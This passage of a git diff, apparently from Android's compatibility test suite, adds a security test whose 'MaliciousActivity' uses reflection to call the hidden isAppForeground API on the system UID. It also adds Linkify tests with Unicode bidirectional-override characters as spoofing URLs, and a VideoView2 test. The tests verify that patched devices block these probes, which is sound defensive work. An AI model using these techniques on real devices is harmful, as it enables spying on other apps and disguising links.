+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
@SecurityTest
public class ActivityManagerTest extends TestCase {
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ private static CountDownLatch sLatch;
+ private static volatile int sNormalActivityUserId;
+ private static volatile boolean sCannotReflect;
+ private static volatile boolean sIsAppForeground;
+
+ private static final String TAG = "ActivityManagerTest";
+
@Override
protected void setUp() throws Exception {
super.setUp();
+
+ sLatch = new CountDownLatch(2);
+ sNormalActivityUserId = -1;
+ sCannotReflect = false;
+ sIsAppForeground = false;
}
@SecurityTest(minPatchLevel = "2015-03")
@@ -43,4 +75,117 @@
// Patched devices should throw this exception
}
}
-}
\ No newline at end of file
+
+ public void testIsAppInForegroundNormal() throws Exception {
+ /* Verify that isAppForeground can be called by the caller on itself. */
+ launchActivity(NormalActivity.class);
+ sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+ .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+ }
+
+ public void testIsAppInForegroundMalicious() throws Exception {
+ /* Verify that isAppForeground cannot be called by another app on a known uid. */
+ launchActivity(MaliciousActivity.class);
+ launchSettingsActivity();
+ sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+ if (sCannotReflect) return; // If reflection is not possible, pass the test.
+ assertFalse("isAppForeground successfully queried for a uid other than itself.",
+ sIsAppForeground);
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ private void launchSettingsActivity() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ public static class NormalActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+ startService(intent);
+ }
+ }
+
+ public static class MaliciousActivity extends Activity {
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+ Intent intent = new Intent(this, AppMonitoringService.class);
+ intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+ startService(intent);
+ finish();
+ }
+ }
+
+ public static class AppMonitoringService extends Service {
+
+ private static final String EXTRA_UID = "android.security.cts.extra.UID";
+ private int uid;
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ uid = intent.getIntExtra(EXTRA_UID, -1);
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ public AppMonitoringService() {
+ super.onCreate();
+
+ final Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ public void run() {
+ try {
+ ActivityManager activityManager = (ActivityManager) getSystemService(
+ ACTIVITY_SERVICE);
+ Field field = activityManager.getClass().getDeclaredField(
+ "IActivityManagerSingleton");
+ field.setAccessible(true);
+ Object fieldValue = field.get(activityManager);
+ Method method = fieldValue.getClass().getDeclaredMethod("create");
+ method.setAccessible(true);
+ Object IActivityInstance = method.invoke(fieldValue);
+ Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+ "isAppForeground", int.class);
+ isAppForeground.setAccessible(true);
+ boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+ if (res) {
+ sIsAppForeground = true;
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+ sCannotReflect = true;
+ }
+ sLatch.countDown();
+ handler.postDelayed(this, 200);
+
+ }
+ }, 0);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ throw new UnsupportedOperationException("Not yet implemented");
+ }
+ }
+}
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 67a52da..99d3c54 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -936,6 +936,17 @@
domain.length(), email);
}
+ @Test
+ public void testAddLinks_unsupportedCharacters() {
+ String url = "moc.diordna.com";
+ verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+ verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+ verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+ verifyAddLinksWithWebUrlFails(
+ "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+ }
+
// Utility functions
private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 380250f..1a1b044 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -386,6 +386,15 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.VideoView2CtsActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="VideoView2CtsActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.widget.cts.AutoCompleteCtsActivity"
android:label="AutoCompleteCtsActivity"
android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <VideoView2
+ android:id="@+id/videoview"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
new file mode 100644
index 0000000..e20f24e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.VideoView2;
+
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+ /**
+ * Called with the activity is first created.
+ */
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.videoview2_layout);
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+ /** Debug TAG. **/
+ private static final String TAG = "VideoView2Test";
+ /** The maximum time to wait for an operation. */
+ private static final long TIME_OUT = 15000L;
+ /** The interval time to wait for completing an operation. */
+ private static final long OPERATION_INTERVAL = 1500L;
+ /** The duration of R.raw.testvideo. */
+ private static final int TEST_VIDEO_DURATION = 11047;
+ /** The full name of R.raw.testvideo. */
+ private static final String VIDEO_NAME = "testvideo.3gp";
+ /** delta for duration in case user uses different decoders on different
+ hardware that report a duration that's different by a few milliseconds */
+ private static final int DURATION_DELTA = 100;
+ /** AudioAttributes to be used by this player */
+ private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_GAME)
+ .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+ .build();
+ private Instrumentation mInstrumentation;
+ private Activity mActivity;
+ private KeyguardManager mKeyguardManager;
+ private VideoView2 mVideoView;
+ private MediaController mController;
+ private String mVideoPath;
+
+ @Rule
+ public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+ new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+ @Before
+ public void setup() throws Throwable {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mKeyguardManager = (KeyguardManager)
+ mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+ mActivity = mActivityRule.getActivity();
+ mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+ mVideoPath = prepareSampleVideo();
+
+ mActivityRule.runOnUiThread(() -> {
+ // Keep screen on while testing.
+ mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mActivity.setTurnScreenOn(true);
+ mActivity.setShowWhenLocked(true);
+ mKeyguardManager.requestDismissKeyguard(mActivity, null);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View.OnAttachStateChangeListener mockAttachListener =
+ mock(View.OnAttachStateChangeListener.class);
+ if (!mVideoView.isAttachedToWindow()) {
+ mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+ verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+ }
+ mController = mVideoView.getMediaController();
+ }
+
+ @After
+ public void tearDown() throws Throwable {
+ /** call media controller's stop */
+ }
+
+ private boolean hasCodec() {
+ return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+ }
+
+ private String prepareSampleVideo() throws IOException {
+ try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+ OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+ final byte[] buffer = new byte[1024];
+ for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+ target.write(buffer, 0, len);
+ }
+ }
+
+ return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+ }
+
+ @UiThreadTest
+ @Test
+ public void testConstructor() {
+ new VideoView2(mActivity);
+ new VideoView2(mActivity, null);
+ new VideoView2(mActivity, null, 0);
+ }
+
+ @Test
+ public void testPlayVideo() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+ return;
+ }
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+
+ @Test
+ public void testPlayVideoOnTextureView() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+ return;
+ }
+ final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+ mock(VideoView2.OnViewTypeChangedListener.class);
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+ mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ });
+ verify(mockViewTypeListener, timeout(TIME_OUT))
+ .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+ mActivityRule.runOnUiThread(() -> {
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+}